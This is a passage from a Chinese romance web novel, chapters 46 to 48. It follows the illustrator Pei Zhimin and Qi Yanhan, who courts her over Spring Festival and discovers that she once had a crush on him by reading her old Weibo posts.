裴知悯缩在温暖的被窝里,闭着眼睛听喻书讲着些有的没的,时不时回应两句,夜色渐深,她的眼皮逐渐变沉,后面不知何时就迷迷糊糊地睡着了,意识朦胧之际,她好像听到喻书狐疑问了句“你是不是有什么事要说?”只是她当时太困了,不自觉地“嗯”了一声就睡了。 隔天意外的是个风和日丽的晴天。 外婆昨天淋了雨,有点咳嗽,裴知悯不敢让她再去外面吹风,自己去了集市守摊。 正逢春节,街上人流如织,裴知悯守着那一方小摊,无聊地手撑着下巴看着街上往来的人群,碰见来问价的,她便热情地介绍着,但大多数游客都是只看不买,裴知悯闲得无聊,捣鼓起了竹筐里的毛线。 道路熙来攘往,声音嘈杂,有一道慵懒随意的男音忽然响在头顶—— “这个多少钱?” 裴知悯头都未抬:“五十一个。” 出门前,外婆千叮咛万嘱咐说不能按照平常卖东西的价格来卖,不然破坏了市场规则可是要被说的。 祁砚寒嗓音带笑:“没的少?” 裴知悯微微蹙眉,抬头看见是他,一时有点恍惚,他今天穿着很休闲,一手插兜,另一只手里拿着个小猴子的小挂件。 裴知悯看过去一眼。 “不能少,”她微笑道,俨然一副对待顾客的态度,“景区里东西的价格不能和外面的比。” 祁砚寒故意逗她:“熟人来买没有优惠?” 裴知悯略微抿唇,硬声道:“不能。” 祁砚寒勾唇一笑,停止了打趣,转而问道:“微信付可以吗?” “可以,”裴知悯指了指桌上的立牌,公事公办“这里。” 付了钱,祁砚寒一点不着急走,越过摊位进来站在她的旁边,一派悠然从容的样子。 裴知悯眨眼问:“你又是路过?” 祁砚寒垂下头,低声一笑:“今天是这样。” 闻瑾去拜访恩师了,他在那儿没多大用处,就溜了出来找她,但等会儿要回南城,他其实也待不久。 裴知悯转头问他:“那你什么时候走?” 她的表情略微郑重,客气得不行,祁砚寒蓦地一笑,不答反问:“你呢?” 裴知悯看向挂在遥远天边的太阳:“差不多要太阳下山的时候。” 祁砚寒了然:“我送完你回家就走。” 裴知悯木讷了一秒,低头继续织着连她自己都认不出来是什么的物品。 祁砚寒的手机这时响了,他按下接听往外边走了几步,说了会儿话,他又走了回来。 阳光温和,风也温和,将这一街的吵闹都变得亲切可人。 那个女孩子安静地低着头织东西,嘴唇微抿,表情有些严肃,她好像遇到了问题,举起半成品左右瞧着,嘴里自言自语:“是这样勾的吧?” 祁砚寒唇角上扬,靠在一旁的柱子上,饶有兴味地注视着她。 摸索了一阵,裴知悯还是硬着头皮按照自己的理解继续往下织,察觉到什么,她侧头一看,见他盯着自己,忽地有点不知所措。 祁砚寒走近来,淡然一笑:“你继续。” 裴知悯低垂眼眸,如他所愿。 祁砚寒身量颀长,顶着张俊气英朗的脸站在摊前,活脱脱的揽人招牌,小摊的生意明显好了起来,短短十分钟就成交了五单,从她坐在这里开始,就没有过这么高的效率。 真是托他的福。 裴知悯仰头看他:“你站这么久了不累吗?” 祁砚寒:“还行。” 身下的长凳一人坐绰绰有余,裴知悯微微咬唇, 让了一段空位出来,看向他说:“你坐这儿吧。” 祁砚寒笑了下,没有客气。 暖融融的阳光普照大地,集市里吵嚷声很大。 紧挨而坐,裴知悯没有管他,自顾自地勾线,但好多年前都没学会的技能,现在再来尝试,无异于是自讨苦吃,那团不明白的线在她的一番捣弄下愈发理不清了。 看她反复几次都是一个动作,笨拙没有条理,祁砚寒笑着问:“你会织吗?” 裴知悯诚实地摇头:“不会。” 祁砚寒感觉挺新奇的,眉梢微挑:“不会还织?” 裴知悯理着线,声线沉静:“试一试呗,总归没事。” 过了半小时,她织出了一个她自己都看不出模样的玩意儿,终究是长叹一声放弃了。 “这个能卖吗?”祁砚寒拨弄了下她刚刚织成的烂尾楼,“我买。” 裴知悯看了眼那个丑玩意儿,又看向小桌前摆着的可爱的挂件,仍旧不敢相信:“你要买这个?” 祁砚寒挑眉:“不可以吗?” 他的神情很认真,不像是在说笑。 裴知悯轻咬了咬唇,忽然有点感慨,好多年前,他买走了她第一次的那个很丑很丑的“毛毛虫”,过了很多年,他又来买她织成的丑东西。 “这个很贵的,”裴知悯环抱双臂,“我织了这么久。” 祁砚寒笑:“多贵?” “一针十块,”裴知悯刁难他,“你算一下勾了多少针。” 祁砚寒扫了眼那个小玩意儿,这怎么看得出来? 他低笑着:“你要不直接说个数?” 裴知悯歪着脑袋,故作思考状。 旁边的摊主是一个头发花白的婆婆,老人家在绣花,听见他们“打情骂俏”,停下手里的活儿,用方言问:“知悯,这是你男朋友吗?帅的嘞!” 裴知悯看了眼祁砚寒,连连摆手:“不是不是!就是朋友。” 阿婆笑而不语,老人家到底经历的事多,一眼看穿了他们之间那种欲说还休的氛围:“他是在追你吧?” 裴知悯腼腆地笑了一声。 那个阿婆笑容和蔼:“小伙子一表人才情绪又好的,给人家一个机会呗!” 裴知悯抿着嘴,一笑而过。 她们说的是栖梧的方言,祁砚寒听不懂,只能在对话结束后询问道:“你们在说什么?” 裴知悯把剩余的毛线缠好,温声道:“没什么,就问了下你是谁?” 祁砚寒嘴角微勾:“那你怎么说的?” 裴知悯那那点毛线绕了一圈又一圈:“就说你是游客啊。” 祁砚寒眼底含笑,看了她半晌没有说话。 摊位前人来人往,来了顾客,裴知悯忙着做生意,祁砚寒静静地待在一旁,等到他们走了,他随口问她这几天在干什么,裴知悯说看书画画吹风睡觉,没什么很大的事。 “都画些什么?”祁砚寒来了兴致。 “有时候是一些商稿,”裴知悯说,“有时就随便画,记录一下生活。” 祁砚寒忽然想起什么:“芷宜说你也知道她喜欢的那个画师?叫……远山?” 这两个字从他口中说出,裴知悯不免浑身一怔,含糊地“嗯”了一声。 后来落日西斜,霞光满天,很是漂亮。 来逛集市的人明显少了,陆续有人开始收拾东西回家。 那个阿婆先走了,裴知悯与她背道而驰,祁砚寒拎着一大袋东西走在她身后。 傍晚的栖梧安静了许多,可以听见街头巷尾的小孩子的玩闹声,不知道哪一处巷子里,有推着小车叫卖的商贩经过,一声一声喊声嘹亮浑厚。 “刚才的钱还没算。”祁砚寒说。 裴知悯微惊:“你算出来我勾了多少针了?” 祁砚寒轻笑:“没有,不如你直接告诉我?” 裴知悯闷哼一声。 或许是因为这个黄昏太过柔和,不像是寒冬里的黄昏,又或许是他的声音太低缓磁性,让人有恃无恐。 裴知悯双手插在羽绒服口袋里,径自往前走,“算不出来就不用买了。” 祁砚寒停住脚步,看着她纤瘦的背影,一时失笑。 前面的巷口,驶出来一辆汽车,阻挡了裴知悯的踪迹。 一个愣神的功夫,她就不见了,祁砚寒舔了舔腮帮,往前走了几百米,又穿过一条小巷,却还是没看见她的人影,环顾四周未果,他摇着头叹了口气,放下手里的东西,给她打了个电话。 那时裴知悯同样在找他,看到来电人,一秒钟都没犹豫就接听了。 祁砚寒揶揄道:“第一次这么快接我电话。” 裴知悯才不理他的话,只关心正事:“你在哪儿?” “迷路了,”祁砚寒语气悠悠,“我也不知道在哪儿?” 裴知悯拍了下自己的额头,遭了,忘了他不是这里的人,不认识路。 “你说一下你眼前的景物,”裴知悯边往外走边说,“最好是有什么突出的标志。” 祁砚寒看了眼周围,把所见的都说了出来:“我前面是一家卖音乐专辑的店,旁边有一棵很高的树,它的对面是一家早餐店,叫……” 裴知悯大概清楚他的位置了,她直言打断道:“我知道了,你在那儿等我。” 这话?怎么不太对? 挂断电话,祁砚寒笑意未敛,点燃了一支烟,对面的专辑店在放歌,是莫文蔚的《这世界那么多人》,烟圈一口一口地吐出,头上有飞机划过,轰声惊起树上的鸟雀,不远的转角处,跑出来个姑娘,她走在苍茫的暮色里,发丝飞扬,就像是歌词里唱得那样“远光中走来你一身晴朗,身旁那么多人可世界不声不响”。 祁砚寒眼睛眯起,干脆地把烟掐灭了,看着她由远及近,像是电影的镜头一样慢慢清晰,他不禁沉沦。 到了面前她还在喘气,就想去拎地上的东西,他抢先一步,轻松提起口袋:“我来。” 裴知悯愣愣地收了手揣进兜里。 这次她再不敢走快了,慢腾腾地回到家时,夕阳已经半落,院落空荡,裴知悯喊了声“外婆”,没听到回声,她才让他进来。 “你先坐会儿吧,”裴知悯朝院里的那套桌椅扬了扬下巴,“我去放东西。” 祁砚寒没去坐,就站在房檐下,观赏着这满院子的繁花茂草,种类不少,打理得井井有条的,看得出来,她外婆是个很热爱生活的人。 身后有脚步声传来,祁砚寒转头看去,裴知悯递来一杯水,他伸手接过,低声问:“这些花你都认识?” 裴知悯扫视了圈院子:“差不多。” 他看着她,脸上有三分笑意:“那怎么你不知道我送你的花是芍药?” 裴知悯坦然道:“家里没种过,我怎么知道。” 祁砚寒笑了声,喝了一口水,倏地问道:“那束芍药花还在吗?” “嗯,”裴知悯不明所以,“怎么了?” 祁砚寒眼神微暗:“没事,就是想提醒你——” 裴知悯抬眸看他。 “我在等你的回答。” 他的目光直白不加掩饰,裴知悯心头紧张得直跳,别开脸没有回答,祁砚寒盯着她看了几秒,放下杯子,轻声说了句“我先走了”便抬腿往门口走。 裴知悯偏过头,凝视着他宽阔利落的背影,忽地鼻尖一酸,关门声很轻很轻,那片衣角,一刹那便消失在了视野里。 第46章 第46章“你还喜欢他吗?”“早就不…… 从邻居家出来,许兰君一眼就看见了那个男人,她瞥了眼还没合上的家门,心头明了了个七八分。 走进院子,裴知悯还发着呆,许兰君看 破不说破,故意道:“看谁呢?” 裴知悯意识回笼,敷衍道:“没谁。” 许兰君别有意味地笑了声,转过话题说:“今天生意好吗?我看微信里有不少进账。” “嗯,”裴知悯应付道,“游客挺多的。” 许兰君蔼然地点了点头,背着手进屋做饭去了,裴知悯还在屋檐下吹风看日落。 世界逐渐黯淡,笼罩着烟火人间。 厨房里有闷闷的油烟声,饭菜香气慢慢飘了出来,远方的夕阳敛尽,裴知悯起身去了厨房帮忙,简单烧了几个菜,祖孙俩坐在餐桌前,外婆看她一副心事的样子,想着就是因为那个男生。 为了转移她的注意力,许兰君讲起了她和苏献培相知相识的故事,裴知悯听得津津有味的,吃完上楼,她接着画起了前天没画完的画,夜渐渐深了,房间里灯光明亮,正收尾时,祁砚寒打来电话,她顿了几秒,按下接听。 “怎么不像下午那样秒接?”祁砚寒玩笑道,“这落差大的我都没反应过来。” 裴知悯咬唇,忍不住回嘴了一句:“我忙着呢。” 这声仔细听,有点小女生的娇俏。 祁砚寒心情顺畅:“忙什么?画画?” 裴知悯放下触控笔,轻轻“嗯”了声。 祁砚寒将手机贴到另一侧耳畔,摸出钥匙开门。 夜里安静,裴知悯能清晰地听到钥匙转动的声音,她柔声问:“你到家了?” 祁砚寒把钥匙放在玄关的柜子上,换上拖鞋往里走,“刚到。” “哦哦,”裴知悯说,“那你早点休息。” 这话真是,不给人留话。 祁砚寒如今已经不吃这招了,张口就另起话题:“你画画完了吗?” 裴知悯看了眼平板:“没有。” “那你继续画,”祁砚寒脱了外套往沙发上一坐,“不用管我。” 裴知悯直言:“那我挂了,电话通着没什么用。” 祁砚寒闷声一笑:“我只是想和你说说话。” 夜里静谧,他的声音低沉醇厚,像是酿了数年才开坛的酒。 裴知悯沉默了片刻。 祁砚寒摸出烟盒抖出一支烟,夹在指尖没点燃,“还要多久能画完?” 裴知悯估摸了下:“半小时吧。” “嗯,”祁砚寒点燃烟吸了一口,“你画吧,我等会就挂。” “哦哦。” 祁砚寒抽着烟,无声笑了下,这么听话? 一到了画上,裴知悯就很容易沉浸在自己的世界里,这次也是一样,她根本没注意到电话什么时候挂的,手机还亮着屏,她关上走去洗漱,完事后躺在床上,还是会忍不住想起黄昏时的那个问。 她的答案,是不是在那天晚上就已经有了。 这个春节很热闹,或许是因为她的反抗有了效果,苏英再也没和她提去相亲的事了,裴知悯耳根清净,日子过得悠然自得。 祁砚寒却没清闲下来,有几个项目都赶在一块来了,那几天几乎都在饭局上,好不容易闲下来了,又要谈项目合作。 那个下午,南城街头人潮涌动,锣鼓喧天。 祁砚寒约了林泽民谈事,奈何对方堵在路上了,要晚些时候才能到,他喝了两口咖啡,想起这家店离繁华大街不远,突然来了兴致,去新开的那家书店逛了圈。 店里的书分区而放,祁砚寒一直在绘本漫画那片区域停留,正看着时,肩头忽然被人拍了下,一声清亮的“哥”响在耳畔,他转头看去,方芷宜戴着毛线帽,手里拿着奶茶,表情惊喜。 “你怎么在这儿啊?”方芷宜瞄了眼他手里的书,“上了班还需要学习?但是你不是不喜欢插画绘本的吗?” 祁砚寒轻咳一声,放了书说:“我在附近谈事。” 说完他又问她:“你呢?这里好像不卖五三模拟吧。” “我不来买辅导资料,”方芷宜环顾四周,“远山老师在微博上说繁华大街新开了一家书店,我今天和同学出来玩,正好路过就来看看。” 祁砚寒面露了然神色。 方芷宜随手拿了本漫画来翻,嘴里感慨道:“远山老师这样的才是地道的南城人啊,在青城读完书再回来都比我对这儿熟。” 祁砚寒听到这句,眉头微皱:“你说什么?” 方芷宜抬起头,神情迷茫:“我说远山老师比我对南城熟。” “前一句。” 方芷宜仔细回想了下:“她是南城人,在青城读书?” 南城人?在青城读书? 祁砚寒一时间有些怔愣,脑海里有一个不可思议的想法冒了出来,静默须臾,他问:“你怎么知道这个远山老师在青城读书?” 方芷宜翻了他一眼:“她微博里说的啊。” 祁砚寒目光深远,想到什么:“我记得你说她从前是在杂志画稿的?” 方芷宜视线还在漫画书上,语气随意:“对啊。” 祁砚寒眼神微眯,不知道想起了什么,混乱的意识慢慢变得清明起来。 书店里顾客来来往往,说话声很吵,方芷宜的同学这时来了,几个女生欢声笑语地往外走,兜里的电话紧随其后地响了,林泽民打来的说他还有五分钟就到,祁砚寒抬腿离开,返回咖啡店。 事情不复杂,主要是几个细节需要敲定,两个小时后,一切谈妥。 正值日落,阳光轻柔地洒在路面上,被一道道足迹踏过,赶路的大人匆忙赶路,天真烂漫的孩随肆意追逐。 “晚上一起吃饭?上次错过了,”林泽民看了眼手表说,“把知悯也喊上?” 说着他就要去拿手机,应该是要给她发消息。 “下次吧,”祁砚寒出声制止他的动作,“她不在市区。” 林泽民一愣,改将手插进裤兜里,笑着问:“你怎么知道?” 祁砚寒弯起嘴角,给了他个只可意会不可言传的眼神随后往街北走了。 林泽民站在原地,后知后觉地明白了。 目之所及处,夕阳还没下山,路上的车辆奔流不息,向着天际驶去。 林泽民这里的饭局逃过了,没逃过卫旭的,这人今天也在这一带,订了家商场的餐厅说一起聚聚,章钦也来了。 菜上得很快,几个男人说了工作说生活,话题就没断过。 章钦给祁砚寒倒了一杯酒,打听起了他追人的事,男人眼神微变,往椅子上一靠,想起她温软俏皮的样子,淡声说:“还行。” 章钦哼笑一声:“还行的意思在我这儿就是还差得远。” 祁砚寒缄默。 卫旭听着他们打哑谜似的对话,云里雾里的,多嘴问了句才知道事情始末,这个消息实在太过重磅,吃完走出商场,还在车上卫旭就把这事儿跟蒋琛讲了,蒋琛听完又给喻臣说,好家伙,这么一传,喻书怎么可能不知道。 听到之后,她就给裴知悯打去了电话,那边的人本来在家里悠闲地吃着桂圆烤着火,电视里重播着春晚,一接通,裴知悯就被喻书的一句“裴知悯,你给我老实说,祁砚寒什么时候开始追你的”给整懵了一秒。 喻书的音量拔高许多,苏英和裴振坐在她旁边,闻言双双扭头看了过来,裴知悯讪讪一笑,说我去接个电话,说完她就跑上了二楼,关好门,她趴在床上轻声问:“你知道了啊?” 喻书声音还没减下去:“这么大的事?你居然都不跟我说?” 裴知悯把手机拿远了一点,咬着唇说:“我不知道怎么说啊。” 喻书冷静下来,之前喜欢的人时隔多年喜欢自己,这种事情,好像是不太好形容。 她只问重点:“那你现在怎么想的?” 裴知悯侧头看向窗外的月亮,吞吞吐吐:“我感觉吧……可能会……哎呀,我现在稍微有点乱。” 喻书没再追问,咬牙切齿道:“那等你回来我再审问你。” 挂了电话,裴知悯在床上滚了一圈,直接把脸埋进了被子里。 那个寻常的夜晚,心烦意乱的岂止她一个人。 三个小时前—— 祁砚寒把方芷宜很宝贝的杂志拿了出来,一页一 页地翻,在最后几页找到了那个远山画的图,他盯着那张图,思索良久,喻书说的人脉,会不会就是她? 平常不看青春故事的人,那天硬是把那篇小说一字不落地读完了,那幅插画他看了好几遍,视线最终停留在末尾的那个画师名字上,静默半晌,他关上书重重地吸了口气,走上楼敲开了方芷宜的房间门,直奔主题:“那个远山的微博名字叫什么?” 方芷宜不解:“你问这个做什么?” 祁砚寒微急:“你先告诉我。” “寂静的远山。” 得到答案,祁砚寒转身就走,方芷宜不明所以地呆在原地挠了挠脑袋。 夜深人静,房间只开了两盏壁灯,单薄的月光从窗台洒进来,被裁得一地破碎,祁砚寒坐在卧着一小块月光的床尾,下载好微博,在搜索框里输入“寂静的远山”,用户只有一个,他缓了两秒,点了进去。 她的微博有四百多条,基本都是分享板绘图,偶尔会有一些风景照或是宣传别的小说,配图的文字都不长,一眼就可看尽。 祁砚寒慢慢滑着,其中有一条是读者的问。 [老师,你的笔名远山有什么特别的含义吗?] 她手写字回复:取自杨万里的诗:远山不见我,我自见远山。 瞧着那簪花小楷的字迹,祁砚寒眯了眯眼,印象里她的字迹就是这样,他眼眸暗沉,继续往下滑。 几百条微博,翻看间时间不知不觉就过去了。 窗外月亮高悬,皎洁如水,这夜太过安静,安静地祁砚寒能听到心跳的异动,看了这么久,那个暗恋未果的故事主人公只在评论区里出现过。 微博的末尾有两张手绘的线稿,祁砚寒点开来看,第一张是下着雨的街景图,长长的玻璃窗上雨珠成串,桂花树下有一道高瘦的人影,那是个男生,白T黑裤,身姿挺拔,步伐很快,像是在赶路。 祁砚寒皱眉看了半晌,眼神逐渐变得不可置信起来,这是……他? 另一张画的是一个半倚在栏杆上的男人,侧头在笑,这图好像在哪儿见过,祁砚寒缓慢地闭上眼睛,在记忆深处搜索着,某刻终于记起,高一升高二的暑假,在那家名为“好久不见”的书店,他看见她的绘本上有这张图。 祁砚寒倏地睁开眼,偏开头笑了声,又转回头来,点开评论区来看,最上面的两条回复都有将近一万的点赞。 第一条是:[老师,这是你喜欢的男生吗?] 她回答:之前。(配了一个害羞的表情包) 时间是2019年1月10日。 第二条是:[老师,你还喜欢那个男生吗?] 她回答:早就不了。 时间是2019年12月22日。 夜深人静,风声轻缓地拍打着窗子,房间里灯光暖黄,照得那四个字略微模糊,祁砚寒浑身都僵了住,那一刻的感觉,像是子弹打穿了心脏,乱成了好多碎片。 》》 2019年12月22日,全国硕士研究生招生考试落下帷幕。 那天是个很阴沉的天气,冷风肆虐,呼啸而过,刮得人脸颊生疼,裴知悯迎着寒风跟随着人流走,四周全是释然的欢笑和宣泄,她想起这半年来背着千钧压顶的压力起早贪黑风雨无阻,一阵酸楚忽地涌上心头。 那时她的心里,只有前程。 第47章 第47章“我说你就是活该。” 那个晚上,祁砚寒一夜未眠,烟抽了半包。 隔日是一身颓然。 下楼时,闻瑾刚做好早饭,喊他一起来吃,坐在餐桌前,祁砚寒没先动早餐,而是先倒了杯水。 “你昨晚没睡好?”闻瑾和他相对而坐,嘀咕道,“脸色这么不好。” 祁砚寒喝着水润了润嗓子,没有吭声。 闻瑾优雅地抿了一口牛奶,和他说正事:“前些天跟你说的那个留学回来的女生,人家春节正好在我们南城,你看你什么时候有空,我好……” 祁砚寒拧眉:“妈,你别安排了。” 闻瑾略显不悦地瞪了他一眼:“你这岁数,自己不找女朋友还不让我给你介绍了?” 祁砚寒靠在椅子上,说出实情:“妈,我有喜欢的人。” 本以为上次他是在敷衍自己,没曾想他居然真有打算,闻瑾惊得放下了杯子:“真的?你别骗我。” 祁砚寒弯起嘴角,点头道:“真的,在追了。” 闻瑾端详了他半天,见他神色郑重不像是在开玩笑的样子,适时中断了话题。 吃完饭,祁砚寒想去投行一趟,拿上车钥匙就打算走,开门前却被方芷宜喊住了,这小姑娘环抱双臂,一副你不说我就不让你走的架势。 “你昨晚怎么问起远山老师了啊?” 祁砚寒整理了衣服,随口胡诌:“这不是关心你想了解一下你平常的爱好么。” 方芷宜环抱双臂,小孩子气地哼了一声。 说完,祁砚寒就要去拧门把手,方芷宜先他一步地挡在了门前,小姑娘眨巴着眼睛,一脸的八卦打听状:“哥,你刚才说在追的那个女生,是知悯姐姐吗?” 这人,原来在这儿等着他呢。 祁砚寒笑着看她:“你说呢?” 方芷宜思考了两秒,顿时眉开眼笑起来,“我觉得你挺有眼光的。” 祁砚寒眉梢微蹙,下一秒又放松下来:“我也觉得。” 方芷宜撇了撇嘴,上下打量着他,故意道:“就是不知道知悯姐姐答不答应。” 祁砚寒轻咬牙根,昨夜的那四个字在脑海里挥之不去,大清早的,她还来跟他添堵。 “你不是喜欢她吗?”祁砚寒暗自一叹,拉拢她道,“我追到她让她当你嫂子还不好?” 方芷宜抿嘴,表情动容。 “还不让我?”祁砚寒笑着睨了眼她放在门把手的手,“我要去追人了。” 话音刚落,方芷宜就侧身让开了。 祁砚寒感觉好笑,这招怎么还挺好使。 今早有雾,阳光被掩盖在了云层里,天地灰白,生机惨淡。 祁砚寒径直开车去了投行,公司里没多少人,他把堆起来的事情处理完,半天时间过去了。 喻臣春节休了假,彼时正在章钦的店里打台球,祁砚寒直接驱车过去了。 网吧里生意很好,各个电脑桌前都坐了人,他径直穿过前厅往里走,台球厅里,喻臣在和人较量,祁砚寒懒散地往旁边的单人沙发上一坐,静静地观看着,他们打得很焦灼,桌边围看的人逐渐多了,视线受阻,他索性没再看,拿出手机点开了微信。 朋友圈跳出了最新一条的消息,扫到了那个眼熟的头像,祁砚寒点了进去看,她发了一张小桥流水的照片,河的两岸是高大的梧桐树,有三两妇女在树下捣衣,阳光明媚,照在湖面上波光粼粼。 祁砚寒点了个赞,起身去了通风口处给她打电话。 那会儿裴知悯和苏英逛完集市,买了许多东西,母女俩从河边抄近道回家,正巧在这里遇见了个熟人,苏英和那个阿姨聊起了天,她一个人在站在梧桐树下踢叶子玩。 祁砚寒的电话就是这时候进来的。 她接起来,听见他问:“看见你朋友圈了,今天栖梧的天气很好?” 裴知悯抬头看向天上的太阳:“嗯,阳光灿烂。” 祁砚寒轻声说:“市区的阳光还没出来。” “等等呗,”裴知悯说,“万一过一会儿就出来了。” 祁砚寒轻轻一笑,她那边有平缓轻宁的流水声,偶尔夹杂着两句妇女的谈笑。 “你在外面做什么吗?”他问。 裴知悯拨弄着脚下的两片树叶,想让它们靠在一起,老实说:“来集市逛了逛买点东西。” 她似乎在忙着别的事,回他的话只抽了一点心神。 早上的雾气早已散去,厚重的云层里,有几缕阳光穿透而下,照在落了半树叶子的银杏树上,把那点萧索衬得温和宁静。 “你没说错,”祁砚寒说,“刚刚阳光出来了。” 裴知悯:“哦哦。” 一小片阳光洒在窗棂上,祁砚寒手撑在上面,暗吸了一口气,用很轻松的语气问道:“听芷宜说,远山曾经有个喜欢的男生?这事儿你知道吗?” 裴知悯心里猛地一咯噔,含糊道:“不太清楚。” 祁砚寒眸光深远,看着不远处的空荡的长街沉默良久,又转而问:“那你呢?” 裴 知悯疑惑:“我什么?” 祁砚寒:“你曾经有喜欢的人吗?” 裴知悯唇线绷直,脚下的那片梧桐叶好像粘在地上了似的,和另一片怎么都靠不到一起,她泄了气,看了十来秒,四两拨千斤:“你不都说了是曾经了,再提又有什么意思呢?有或没有都没什么意义,再说了,就算有,谁还记得之前喜欢的人。” 她不知道,她说这段话的时候,电话这端的男人撑在窗沿上的五指不自觉地收紧了,青色脉络在白皙肌理下十分明显,过了须臾,又渐渐松开,祁砚寒的语气很轻很低:“你说的有道理,但是,曾经喜欢的人,也能再喜欢一次吧?” 他后面的话被一段嬉笑声给掩盖了。 祁砚寒淡漠地回头看向身后的走廊,几个男生勾肩搭背走过,吵吵嚷嚷。 裴知悯没听到后半句,待他那边安静下来,她才问道:“你说什么?” 祁砚寒温声道:“没事。” 他不说,裴知悯也没有追问。 太阳从云里跑出了半边,天愈发亮了。 “昨天我去那家新开的书店转了圈,里面有很多书,春节期间买还有折扣,三本书九点五折,四本九折,五本书八点五折,”对面的街上,缓缓走来一对老人,牵手徐行,祁砚寒注视着他们,慢声说,“你应该喜欢漫画绘本这一类的吧,这片区域在二楼,历史文学类的书在一楼进门的最右侧。” 裴知悯听着他这么一长串的话,缓缓站直了身体,微风从河面上拂过,吹来时味道清爽,她怔愣了一瞬。 印象里他好像从没有说过这么长的话,裴知悯缓了一口气,有些不解:“你想说什么?” 他问:“你什么时候回来?” 这话说的有点隐晦。 裴知悯无措地看向一旁的河水,没有应答。 河面上的波纹很浅很柔,一层一层往外推。 裴知悯抿紧唇,顿了几秒,说:“应该要初十之后。” 祁砚寒轻声道:“我来接你。” 裴知悯咬唇:“不用,我跟我爸妈一起回来。” 祁砚寒了然,低声说了句“那好”。 身旁忽然带起了一股风,骑着单车的人从身侧蹿出,铃声短暂响了两秒,苏英的声音在这之后冒了起来:“知悯,走了。” 裴知悯扭头回了声“马上”,又捂住声筒说了句话就匆匆按了挂断,小跑几步到苏英身边,她母亲旁敲侧击:“跟谁打电话呢?” 裴知悯去拎她手里的袋子,脸不红心不跳:“一个朋友。” 苏英未置一词地笑了笑,前阵子本来想喊老太太来劝劝知悯去相亲的,谁曾想老太太竟说让她把心放回肚子里,过不了多久你的愿望就会成真。 看这情况,确实像不用她担心的样子。 这天的南城,全市都放了晴,似乎在昭示着,未来那些不确定的事情,仍旧值得期待。 收了手机,祁砚寒点了一支烟,刚要收打火机,身旁就伸来了一只手,喻臣说:“借我用用。” 祁砚寒随手一抛,喻臣稳稳接住,点燃烟,他又把打火机抛了回去。 外面的场子依旧热闹,兴奋的讨论声蔓延开来。 “赢了还是输了?”祁砚寒问。 “这还需要问?”喻臣乜了下,“肯定是我赢了。” 祁砚寒温淡地笑了下,缓缓吸了一口烟。 刚走过的那群男生又回了来,谈天说地滔滔不绝,喻臣看着他们,忽而有点感慨。 “蒋琛过些天要回来,到时候咱几个来聚聚,”喻臣声调缓慢,“那小子,不知道有没有把公司做起来。” 祁砚寒神情清淡:“等他回来不就知道了。” “也是,”喻臣低头一笑,又忽地想起什么,“你刚下是在和知悯打电话吧?” 祁砚寒咬着烟,模糊地“嗯”了声。 “我说,”喻臣拿下嘴里的烟,侧身盯着他,“你这心思到底是什么时候有的?” 祁砚寒沉默地看着远方的山,呼出一口青白色的烟雾。 “大学吧?”喻臣笃定地试探,“大几啊?” 祁砚寒面无表情地把胳膊伸出窗户,弹了弹烟灰,一抖落,那抹灰烬就消逝在了风里。 “当时就喊你去追,”喻臣拱了下他的胳膊,“你怎么说来着?” 说着他拿下唇角的烟,回忆了下,学起来了他之前的话,“人家都对我没那意思,我去追她不是给人平添烦恼么?” 大一结束,祁砚寒依旧心高气傲漫不经心,即使察觉到了自己对她有三分好感,他还因为高傲没去理,后来卫旭组织聚会,她不愿见自己提前离场,那三分情愫根本没用武之地。 彼时他还不知道,多年后,他会和这个女生久别重逢,他也没意识到再重逢时,这个女生对他还是有很强的吸引力。 她捡树枝乱舞的神情,黑夜里唱歌的样子,都是坦荡鲜活,诚恳柔软的模样,一如多年前的那个雪天。 “怎么着?”喻臣眼睛微眯,故意戳他心窝子,“现在知悯对你有意思了?” 祁砚寒闻言低了低眸子。 “我当时让你去追你又不去,”喻臣恨铁不成钢地白了他一眼,“如今后悔了吧?追人,人家都不在这儿,你追哪门子的人。” 祁砚寒不动声色地按灭了烟。 “我说你就是活该。”喻臣恨恨道。 祁砚寒苦笑了声。 那可不是么。 很久之前,有个女孩子喜欢他,但好像他当时脾气不怎么好,抽烟喝酒打牌泡吧样样不落,还总是一张冷脸,她又不喜欢他了。 可过了这么多年,他还是栽在她手里了。 第48章 第48章“你愿意快点考虑吗?”…… 大年十一的上午,裴知悯回了市区。 二月伊始,南城进入春天,满城的树都冒出了嫩绿的新芽,枝头缀满了生机。 春节期间来了一个商稿,对方急要,裴知悯熬夜画了一周,总算在昨晚的后半夜交了差,今晨坐了几个小时的车,脑袋昏得不行,一回到家她就补觉去了。 再醒来是在下午三点,日光晴朗,房间暖洋洋的,裴知悯伸了个懒腰,慢吞吞地起床。 客厅里,苏英在择豆角,电视里放着上次外婆跟她说的那个古代家庭剧,裴知悯喝完一杯水,蔫蔫地坐在沙发上缓神。 “熬夜留下的后遗症第一条就是精神不济,”苏英轻责道,“就像你这样。” 裴知悯讨好一笑,苏英拿她没办法,停下手里的活儿,说出去买食材给她炖汤喝。 家里很快就只剩了她一个人,裴知悯无所事事地看了会儿电视,接到了喻书的电话。 得,该来的还是躲不过。 奶茶店里,喻书抱着手机在敲敲打打,裴知悯瞥到一眼,惊讶道:“还没开学就开始写论文了啊?” 喻书愁容满面:“半小时前刚来的课题。” 裴知悯对此情况只能深表同情。 桌上摆着两杯五分甜的青提奶绿,她们一人一杯。 敲完这一行字,喻书关掉手机,靠在椅背上。 “说说吧,”她直奔主题,“祁砚寒什么时候开始追你的?” 裴知悯喝了一口奶茶,把这段时间发生的事都交代了。 喻书听完她平静的叙述,问道:“他知道你曾经喜欢他吗?” “不知道,”裴知悯说完,倏地反应过来,“你什么时候知道的?” “在你微博上看见的,”喻书说,“但你没说,我也就没问。” 裴知悯抿了抿唇。 那时她刚开始在微博上分享画稿,怕没人鼓舞 坚持不下去,喻书便要了她的微博名,说给她当水军,但事情没有像她想象中那样发展,她也就很少去看她微博,知道这事纯属偶然。 “遵从你的内心吧。”喻书最后说。 阳光从玻璃窗轻柔地透进来,晒的人很舒服。 她们说了很久的话,后来喻书回去赶课题了,裴知悯在店里待了半晌才起身离开。 日暮时分,火红的夕阳挂在天边,晚霞铺了半边天,光景格外灿烂。 美景难得,街上很多兴致勃勃驻足拍照的人,裴知悯凑了个热闹,也拍了不少,完事后,她走去长椅上坐下,挑了几张好看的照片上传到了微博。 遥远的地平线上,夕阳渐渐西下,裴知悯静静地欣赏着日落,不知从哪儿跑出一只黑白相间的小猫,瘦骨伶仃,毛发也是乱蓬蓬的,看她的时候,溜圆的眼里满是脆弱和警惕。 看了数秒,裴知悯终归不忍心,小跑进了对面的便利店。 人来人往的广场上,有人步伐匆匆,有人驻足。 